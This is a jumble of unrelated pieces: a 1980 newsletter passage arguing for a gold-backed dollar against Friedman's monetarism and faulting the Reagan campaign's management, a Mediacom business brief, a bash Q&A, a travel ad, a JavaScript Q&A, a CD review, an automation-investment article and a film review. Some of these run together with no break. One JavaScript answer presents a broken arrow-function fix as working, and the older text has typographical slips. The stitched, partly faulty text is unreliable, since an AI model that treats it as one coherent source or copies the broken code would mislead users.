Of the three guides listed (exchange rates, price and quantity), the price level is clearly the most important in its own right. Other things the same, it would be much the best of the alternatives — as many distinguished economists have urged in the past. But other things are not the same. The link between the policy actions of the monetary authority and the price level, while unquestionably present, is more indirect than the link between the policy actions of the authority and any of the several monetary totals. Moreover, monetary action takes a longer time to affect the price level than to affect the monetary totals and both the time lag and the magnitude of effect vary with circumstances. As a result, we cannot predict at all accurately just what effect a monetary action will have on the price level and, equally important, just when it will have that effect. Attempting to control directly the price level is therefore likely to make monetary policy itself a source of economic disturbance because of false stops and starts. Perhaps, as our understanding of monetary phenomena advances, the situation will change. But at the present stage of our understanding, the longer way around seems the surer way to our objective. Accordingly, I believe that a monetary total is the best currently available immediate guide or criterion for monetary policy — and I believe that it matters much less which particular total is chosen than that one be chosen.2
In 1973, when the monetary authorities finally broke away from the price rule of the fixed dollar/ gold ratio, Friedman had won his quantity rule, the "longer", but "surer way to our objective". Here he is, more than a dozen years later and seven years into the experiment, writing in Newsweek of July 14, 1980. Entitled "Monetary Overkill," it is a scalding criticism of Paul Volcker for having permitted the recession:
The Fed has again overreacted — from February to May 1980, Mj-B has actually declined at a 5 percent annual rate. We need steadiness, not these wide swings. Some variation from month to month in monetary growth is unavoidable. However, the Fed has the power and the knowledge to keep monetary growth far steadier than it has been. It has lacked only the will.3
The implications of Friedman's critique are astounding. The Fed, he is saying, lacked the will to print money fast enough between February and May 1980, with the prime rate and the Consumer Price Index pushing 20 percent, the dollar price of gold exceeding $630 per ounce. His monetarist followers remained silent. On the following day, the Roth subcommittee of the GOP platform committee unanimously accepted the gold plank, an event that surely shocked the monetarist school. Look what happened:
On January 29, Lindley H. Clark, Jr., of The Wall Street Journal who is the dean of monetarists in the financial press, could write the following:
As this column said in 1972, the recent speculative frenzy in gold should have underlined once again the "foolishness of trying to carve out for gold....a dominant role in the international monetary setup". As Nobel Prize economists Milton Friedman has often remarked, "You might as well base your monetary system on porkbellies."4
On August 11, after digesting the news from the GOP convention, Lindley Clark wrote:
The Republicans aren't at all precise about what they want, but it's a safe assumption that they won't be satisfied with a mere return to the situation that prevailed in, say, 1960. Presumably they would prefer something more like a true gold standard, of the sort that prevailed before the Depression.
A lot of nice things can be said about a gold standard, and many of them are said by the University of Rochester's Robert Barro in "U.S. Inflation and the Choice of Monetary Standard..."
For one thing, Americans are comfortable with a gold or silver standard, and don't knock the virtues of comfort. Until the 1970s U.S. money usually had a link to one or the other metal or both; the exceptions typically involved war and could be seen as temporary.
Gold was a monetary anchor that gave Americans confidence in paper dollars. A true gold standard would control the issuance of paper money, since anyone could demand a certain amount of gold in exchange for his paper. Even the watered-down gold standard of the postwar years exercised some influence over money-creation, since foreigners could — and did — show up at the gold window."5
Clark does go on to suggest all that is needed is a "monetary anchor." Milton Friedman's proposal for a Constitutional Amendment that would limit money creation to a minimum of 3 percent and a maximum of 5 percent per year, he suggests, would do just as well as an "anchor". The classical economists, of course, reject the idea that the supply of money can be fixed without an regard for the demand for money. Still, Mr. Clark's positive observations about gold as monetary anchor, reflecting the views of other monetarists as well, hints that accommodations are in the wind from Friedman himself. Nor would that be difficult for him. His argument have always centered on politics rather than economics, mainly that governments do not have the will to submit to the discipline of a gold standard. Given the disillusion over attempts to regulate the quantity of dollars instead of the price of dollars in real goods, it no longer seen a matter of will at all, but simply of method. And pork bellies will not do as the method. Says Mundell:
Only a few commodities could serve as the basis for solving the final asset problem. But only one asset, gold, is now practical. Central banks now hold about a billion ounces of gold, worth some large fraction of a trillion dollars. Fixing the price of silver or platinum would not solve the inflation problem, which has its heart in the relation between the supply of dollars and the price of gold. Gold is unique because of the central bank hoards. It is only when both the supply of dollars and the price of gold are fixed or controlled that the inflationary movement can be stopped. The solution therefore is to fix the dollar price of gold, reestablishing dollar convertibility. This single action stems the source of world inflation. If there were no insoluble political programs, a modernized gold system would be the natural solution.6
The political problems, though, are not so insoluble. They really stem only from those who have a stake in the experiment of the 1970s, and who argue only that things would be worse with gold. But in the face of persistent double-digit inflation, recession, and the threat of international monetary disorder, those arguments seem less convincing than ever. A recent exchange at an economics symposium sponsored by the Securities Groups at New York's Hotel Pierre captured much of the flavor of the current debate. Panelist Edward M. Bernstein was asked what would happen if the United States made the dollar convertible at a price fixed by the market, as Laffer has proposed. Bernstein, who was an economist with the American delegation to Bretton Woods in 1944 and who urged floating in 1973, said it would be impossible to make the dollar convertible at this time.
The situation is too volatile, he said, with perhaps 150 million ounces of gold in private hands.
Eugene Birnbaum of The Securities Group asked him what would the holders of private gold do as they saw the United States guaranteeing convertibility, and what would happen to inflation?
Bernstein said, well, it would stop the inflation. But so many people would present gold and ask for dollars that the government would have to print many more dollars to accommodate the purchases, and this would reignite the inflation!
Birnbaum persisted. Wouldn't the individuals buying dollars with gold do so because of a belief that dollar assets would appreciate more rapidly than gold — and they would invest those dollars in financial assets?
Why, yes, said Bernstein, "There would be an inflation of financial assets!"
Exactly. With the dollar as good as gold, the demand for dollars would soar. Investors would crowd into the bond market, which would feel the bulk of the bullishness. Heightened confidence in the possibilities for economic growth would enhance the value of stocks as well, extending our Reagan bull market scenario.7
But what has happened to the Reagan Bull Market? Why has the Reagan campaign stumbled so badly in August, which, in line with our scenario, has but the bears back on top on Wall Street? The answer is simply that the absence of a dominant political strategist since the departure of John Sears, in February, is finally hurting. Reagan coasted home to the GOP nomination on the Sears' strategy. And the absence of a dominant strategist will not be felt until there is a crisis, a crisis which now is unfolding because of the instability of the campaign's committee system. Currently, the campaign is under the collective leadership of William Casey, Edwin Meese II, Bill Timmons, Richard Wirthlin, Lyn Nofziger, and Stuart Spencer. That means there is no individual with the responsibility and authority to match wits with President Carter's manager, Bob Strauss.
In hindsight, the designation of William Casey as Sears' replacement was a serious error. Casey's shortcomings have been known for months, but the anti-Sears cabal that installed him has so far been unwilling to give up the power Casey's presence gives them. Meanwhile, his presence prevents the emergence of a single dominant strategist, an individual who would take charge and responsibility. When a committee decides, responsibility is diffused. Who scheduled Reagan on a foreign policy track after the GOP convention? No one individual. Who is responsible for sending George Bush to China? Nobody. Who is responsible for the lackluster television spots produced for the homestretch? Nobody. Who is negotiating with Strauss over the format of the debates? Everybody and nobody.
The assumption is that pressure brings change, and that until late August the Reagan lead was so large that pressure, and change, was not in the cards. Now it is. There is ample time for a shakedown, the submergence of Casey and emergency of somebody with authority to match wits with Strauss, make new media spots, plan the debates, and be in position to react to whatever comes out of Jimmy Carter's sleeve in October. If the Reagan bull market is to resume, it will be up to Reagan to do it.
1 James Tobin, "Stabilization Policy Ten Years After", Brookings Institution Papers on Economic Activity, George Perry, editor, p. 22.
2 Milton Friedman, "The Role of Monetary Policy", American Economic Review, March, 1968, p. 15
3 Milton Friedman, "Monetary Overkill", Newsweek Magazine, July 14, 1980, p. 62.
4 Lindley H. Clark, Jr., The Wall Street Journal, Speaking of Business Section, January 29, 1980.
5 Lindley H. Clark, Jr., The Wall Street Journal, Speaking of Business Section, August 11, 1980.
6 Robert A. Mundell, "Gold: The 'Final Asset' Problem and its Resolution", H.C. Wainwright & Co. Economics, February 27, 1980, p. 11.
7 Jude Wanniski, "The Reagan Bull Market", A.B. Laffer Associates, August 1, 1980.


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Flush Mediacom May Look to Buy More
By Mike Farrell 06 March 2000
Flush from last year's $380 million initial public offering
and a $640 million line of credit, Mediacom Communications Corp. chairman Rocco Commission
last week vowed to seize acquisition opportunities this year.
"There are still acquisitions to be made," the
notoriously frugal Commisso told analysts on a conference call to discuss the fourth
quarter. "We're looking every day."
Commisso added that the company has signed three letters of
intent to purchase small systems with a total of 28,000 subscribers for $48 million, or
about $1,700 per subscriber. Those buyouts should be completed by the end of the second
quarter.
In December, Mediacom closed on its two largest
acquisitions -- Triax Midwest Associates L.P. and Zylstra Communications Corp. -- paying a
combined $760 million. Those purchases added 358,000 subscribers, working out to about
$2,100 per subscriber.
Not including the Triax and Zylstra acquisitions, revenue
in the fourth quarter increased 80 percent to $68 million and cash flow rose 89.4 percent
to $34.9 million. For the year, revenue climbed 36.2 percent to $176.1 million and cash
flow was up 44.5 percent to $78.1 million.
The company finished 1999 with 747,000 subscribers, up 1.9
percent.
Commisso said the focus this year will be on upgrading
systems -- spending about $140 million to do that -- and on rolling out digital cable and
high-speed Internet access companywide.
Commisso said Mediacom is moving forward with its upgrade
plan, and 79 percent of its systems were between 550-megahertz and 750-MHz capacity at the
end of 1999. "In the past two years, we have moved from 20 percent 550- to 750- [MHz]
to 79 percent," he added.
That upgrade plan continues this year. Mediacom chief
financial officer Mark Stefan said capital expenditures for upgrades will be another $140
million, with roughly 30 percent to 40 percent of that money tied to rebuilds. The rest of
the expenditures will be to extend plant, eliminate headends and install digital headends.
Mediacom systems are primarily in rural areas that have not
been adequately served by cable in the past. Despite that, Commisso said, his systems have
not been adversely impacted by direct-broadcast satellite competition, mainly due to moves
Mediacom has made to quickly upgrade its systems as it acquires them.
Commisso said his systems also are not affected by new
federal rules that allow DBS companies to beam local broadcast signals into their markets.
For the most part, DBS companies have launched "local-into-local" primarily in
larger markets.
""Not more than 20 percent of our subscribers are
affected by local-into-local," he said. "And about 50 percent of our subscriber
base is broadcast-impaired," meaning that they would have to take at least some
cable.
The ability to offer digital service also has lessened the
blow from DBS, Commisso said. Mediacom has digital penetration rates of 9 percent or 10
percent in markets where it offers service.
Customers also are willing to pay more for quality, he
added, as is evident by Mediacom's average rate increase of 12 percent last year. He said
those rate increases -- more than double the industry average of 5 percent -- were
necessary due to the costs of revamping existing plant and expanding channel lineups.
"As we finish the rebuild, we load up the system with
significant products and services," Commisso said. "We add 10, 15, 20 additional
channels. That gives us the ability to increase rates higher than 5 percent while
maintaining a per-channel rate that is the same or lower [than the industry
average]."
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That's why traditional therapy has such limited success. I remember going to the doctors myself, complaining of being constantly tired and lacking energy only to be told, time and again that I needed to lose weight and that I was getting older and had to accept that things slow down as you age. Three years this went on before my wife insisted I see a specialist, who discovered that I had sleep apnoea. Once he tackled the cause, I felt great again and so it is with preventing panic attacks, you can only succeed by putting the cause right first.
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Q: Local variables in bash functions I am getting confused about setting local variables in bash functions.
It seems that using
  local dgt
  local ltr
  local braces
  local da

could be safer than using
  local dgt ltr braces da

I am worried about the possibility of a variable not getting defined as local, or not having the value set. Could that happen?
For instance, consider
local foo="$(mycmd)"

The exit status of the command is overridden by the exit status of the creation of the local variable.
Then the correct code would be
local foo
foo=$(mycmd)

A:
Of not being defined as local, or not having the value set. Could that
happen?

It will also be defined as long as the local command itself is initially syntactically correct.  The local command doesn't care about the exit value of any command substitution (which executes in a subshell) that may happen before or after the local command's evaluation.
$ f() { local x=$(false); declare -p x; }; f; declare -p x
declare -- x=""
bash: declare: x: not found

This is true by intent at least.  Bugs however may not make it work the way you expect, particularly when defining array values in earlier versions of Bash.  So indeed separating the definition from the declaration might be better, sometimes.

A: FWIW, some differences:
$ bash -c 'f() { local a="$(exit 3)" b="$?"; echo "$b"; }; f'
3
$ bash -c 'f() { local a="$(exit 3)"; local b="$?"; echo "$b"; }; f'
0

$ bash -c 'f() { local a="$(exit 3)" á=x b="$?"; echo "$? $b"; }; f'
environment: line 0: local: `á=x': not a valid identifier
1 3

$ mksh -c 'a=0; f(){ local á; local a; a=1; }; f; echo "$a"'
mksh: typeset: á: is not an identifier
0
$ mksh -c 'a=0; f(){ local á a; a=1; }; f; echo "$a"'
mksh: typeset: á: is not an identifier
1

Note that bash contrary to many other shells doesn't let you decalre a variable as local if it has been declared as readonly in a parent scope. Still, like for local Ûnsupported¹ other_var, in local readonly_var other_var, I find that in bash, other_var still ends up being declared as local.

¹ local Ûnsupported actually works in bash, but only in locales where that Û is encoded on a single byte (and is classified as isalpha()).


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"This summer, relax at Puerto de Alcudia. With its scenery and wide range of leisure activities, this is a place you'll fall in love with. The five-star Zafiro Palace Alcudia Hotel is just a few minutes from the beach and Alcudia's port, where you can wander the streets and soak up an authentic local experience. The hotel provides the finest food, exclusive, comfortable suites, and staff who will take every care of you and make your stay unforgettable. 100% CUSTOMISABLE IDEA. This is just a suggestion. Remember that you can adapt all of the different parts of your trip: change the dates, the hotel, the number of travellers, add or delete activities, add airport transfers or book a car. Design your tailor-made holiday package and book it all right here.
Located on the north coast of the island of Mallorca, in the bay of Alcúdia. This bay, traditionally a summer resort for many Mallorcan people, has become one of the tourist areas par excellence. The combination of sports berths with a need to supply goods for the consumption of the island and the transit between the island of Menorca and some ports of the peninsula, make it a port with special characteristics. It has two very different areas: the commercial dock and the smaller boats, which is formed by the fishing pier and a marina. Even so, it is an eminently energetic port. In its facilities, coal is discharged, to produce electricity, as well as butane and propane gas.
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Q: I think I'm misunderstanding "this" in JavaScript I have the following code that should display an incrementing number once a second:
    let timer_demo = {
        count: 0,
        timer: null,
        update: function() {
            this.count++;
            console.log(this.count);
            this.timer = setTimeout(this.update, 1000);
        }
    };
    timer_demo.update();

However, when I run this in Chrome I get a "1", then a "NaN" a second later and then nothing.  The timer stops.  I get the feeling the problem is that I'm not understanding what is going on with "this" in this context.  I just don't know what it is.  The fact that the second time the "update()" method gets invoked, the "count" field is "NaN" would seem to support this assertion.  Can anybody shed some light on this for me?
Thanks!

A: The function setTimeout doesn't call this.update, but rather takes a copy of the update function and repeats it.  Unfortunately it loses its bind to the original "this".
To work around it, you can do the following:
let timer_demo = {
        count: 0,
        timer: null,
        update: function() {
            this.count++;
            console.log(this.count);
            this.timer = setTimeout(this.update.bind(this), 1000);
        }
    };
timer_demo.update();

This makes sure that the function copy is bound to this.

A: var timer_demo = {
        count: 0,
        timer: null,
        update: function() {
                console.log(this);
            this.count++;
            console.log(this.count);
            this.timer = setTimeout(this.update.bind(this), 1000);
        }
 };
 timer_demo.update();

In setTimeout callback this is window object by default (in non strict mode). To pass custom this to setTimeout callback, bind is used.
For better understanding of this in javascript, read http://javascriptissexy.com/understand-javascripts-this-with-clarity-and-master-it/ .

A: You can use the new arrow functions to deal with this. They don't bind their own this, so you'll end up getting it from outside environment.
let timer_demo = {
    count: 0,
    timer: null,
    update: () => {
        this.count++;
        console.log(this.count);
        this.timer = setTimeout(this.update, 1000);
    }
};
timer_demo.update();


rec. 2017, Carole Nash Room, Royal Northern College of Music; Carole Nash Hall, Chetham's School of Music; Cosmo Rodewald Concert Hall, Manchester University.
On this CD, another six works have been added to those thirteen numbers. They are all written for some combination of recorder, clarinet, viola and piano and the generational spread includes a wide range, from Memento for solo piano by Gerard Schurmann (born 1924) to the attractive Little Passacaglia for recorder and piano by William Marshall (born 1992). This latter work is based on a 12-note series used by McCabe in his Bagatelles (1964) and is the most 'advanced' work on this disc.
The late Malcolm Lipkin (died 2017) has contributed In Memoriam John McCabe, a thoughtful miniature for clarinet, viola and piano. There is a tiny quotation from one of Haydn's piano sonatas, reminding the listener that McCabe recorded what is for many the definitive versions of Haydn's Piano Sonatas.
The funereal Exequy for solo viola by John Joubert, born in 1927, is one of the most moving pieces on this CD. The composer has allowed himself nearly six minutes, longer than most of these pieces, to develop a heartfelt tribute.
I loved Martin Ellerby's Lake District-inspired piece for viola and piano, Nocturnes and Dawn (Patterdale). Perhaps I am biased, as this village at the foot of Ullswater, one of McCabe's favourite haunts, is also my favourite part of the National Park. Listeners who know McCabe's music, will recognise that the title is a translation of Notturni ed Alba, which is one of his most successful and well-known pieces. The piece includes a musical cipher on the name McCabe – HCCABE - as well as another Haydn quotation.
The final work on this CD alludes to John McCabe's enjoyment of a 'wee dram' o' the malt. 'Edradour' is the smallest traditional distillery in Scotland, and, in many connoisseurs' eyes, one of the best. Gary Carpenter's eponymous piece for the full ensemble is delightful and comes without a hint of a Hielan' tune or tartanry.
The performances by all the artists are convincing, competent and thoroughly engaged. I was impressed by the CD sound, which is clear and well-balanced.
The liner notes are excellent: after an introduction by the composer's widow, Monica McCabe, each work is given a brief, but helpful, introduction by its composer. There are the usual biographies of the performers. The rear cover includes a good photograph of the composer towards the end of his life, and his portrait is on the front cover.
This is altogether a charming 'Garland' for John McCabe. Do not expect all these works to be masterpieces, but they are all well-crafted and highly memorable. I am not sure what will happen to them next; I would like to think that performers will include them in their own recital programmes. It may be that their brief nature, their ephemerality and their instrumental requirement will prevent this from happening. That would be a pity, as there is much here to delight, enchant and call to mind one of the most important and best of 'modern' composers. I believe John McCabe would have been delighted with this heartfelt tribute from his friends, fellow composers and former pupils.
NB: All pieces composed in 2016.


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Clearly, any new automation project requires economic justification. While this often involves hard "dollars and cents" quantification of cost savings from increased production, reduced raw material costs, or increased uptime; it is also about "soft" benefits, such as reducing risks and improving agility. All contribute to making your company more competitive. This article will focus on the latter, while also highlighting considerations for the former. It will also share some best practices that ARC Advisory Group has identified.
When considering a change of any kind and researching the alternatives, it is very important to understand that your business is likely to be flooded with opportunities to invest capital and that change needs to be justified for the benefit of the company. Personal or department goals need to be subordinated to corporate goals. In the automation domain, a number of factors should be evaluated for their economic contributions to a justification. But it doesn't end there. Justification must take into account the broader opportunity to better position your company for future competition, likely involving greater agility, additional products, or improved quality.
Maintenance and Service Costs – These will increase for older equipment. Spare parts may be difficult to find. Direct replacements for a component disappear. Those familiar with the technologies may become a rare commodity. In addition to increased costs of repair, older systems are likely to have a longer mean time to repair. If repair requires production shutdown, this downtime will clearly affect production throughput and it will be important to know your cost of downtime.
Energy Costs – Older systems typically use more energy. For example, fixed-speed motors are giving way to variable speed drives for energy savings. Loose process control may cause cycling that can waste energy or affect product quality. Process control designs can be improved along with more energy efficient process design.
Recycling and Sustainability – These factors may also be relevant in corporate culture or product costing. Recycle costs or construction materials may figure into the value of a system or its replacement.
Improved Control Dynamics – will also lead to shorter startups, improved product quality, quicker product changeovers and quicker shutdowns. These will all have associated cost savings.
Removal of Physical Constraints – Modern control systems, for example may improve space utilization even with expanded operations.
Improved Data Analytics – Today's advanced analytics can help streamline operations through system modeling. Perhaps a new solution can rely on data analytics – process modeling to remove the need for physical product sampling. An example of this is predictive emissions monitoring systems (PEMS) replacing continuous emissions monitoring systems (CEMS) in some applications.
Added Flexibility – Existing systems may have been designed and implemented for a specific product and purpose, but are difficult to change and adapt to new product or business requirements. These can include product variations or changes to batch or lot sizes. A new system can provide a great deal of flexibility, which could provide significant benefit for your business.
Upgrades to complex systems, such as a control system, often provide the ability to make continuous improvements over time, plan for graceful degradation of an automation system, and perform future expansions in a well-managed, modular fashion.
For example, redundancy is typically a requirement in medium-to-large automation applications. But for smaller applications, the loss of a display console may be compensated for by a backup Web-based HMI interface direct to a controller. This level of backup can come at a drastically reduced price, while also delivering added flexibility and functionality on a day-to-day basis.
A concentration on modularity for a new system can deliver a great many new features that can be surprisingly easy to implement. Perhaps you'll want a text message while you troubleshoot a challenging issue. Perhaps you'll want a special report while you are making some control enhancements to generate "before-and-after" analytics. Or, perhaps you'll want to plan ahead for integrating additional sensors that you know will be coming with a new enhancement down the line. Relying on standards and leaving the door open to third-party products and interfaces; ad hoc and short-term enhancements, outside the core functionality of a system could help your company adapt to changing needs. Selecting the right technologies and data infrastructures and focusing on integrating best-in-class components can address your current needs well; while also significantly improving your ability to respond to future and transient requirements.
Many factors will impact the success of automation or related IT projects. But first considerations should be based on overall company directives with respect to its competitive stance. What will make the company more competitive in the future and how can this project influence that?
Then, it's important for everyone to be involved with the process. Communicate widely throughout your organization. Consider all alternatives and re-evaluate and tune the process to drive toward your desired outcome. If your staff is new or inexperienced in making this type of strategic decision, involve industry experts as necessary, to assist with selection criteria development, architecture development, vendor selection or cost justification. However, don't delegate the responsibility completely. Make it a team effort.


The Cinderella trailer left me with high expectations for this movie. But with all Disney live-action films, I thinks it's safer to have them lowered (and if you're lucky you'll be pleasantly surprised, as I was with Into the Woods.) This movie is pretty and the animals are charming and Helena Bonham Carter has never looked more gorgeous and the dresses were beautiful and oh-my-heart THE KING OF THE NORTH! But I think it could have been better. A few small disappointments: Cate Blanchett wasn't an epic portrayal of the wicked stepmother like I'd hoped, there was no Bruno, and the castle wasn't anything like the Cinderella castle (arguably the prettiest of all Disney castles). That said, I enjoyed the film and I recommend seeing it.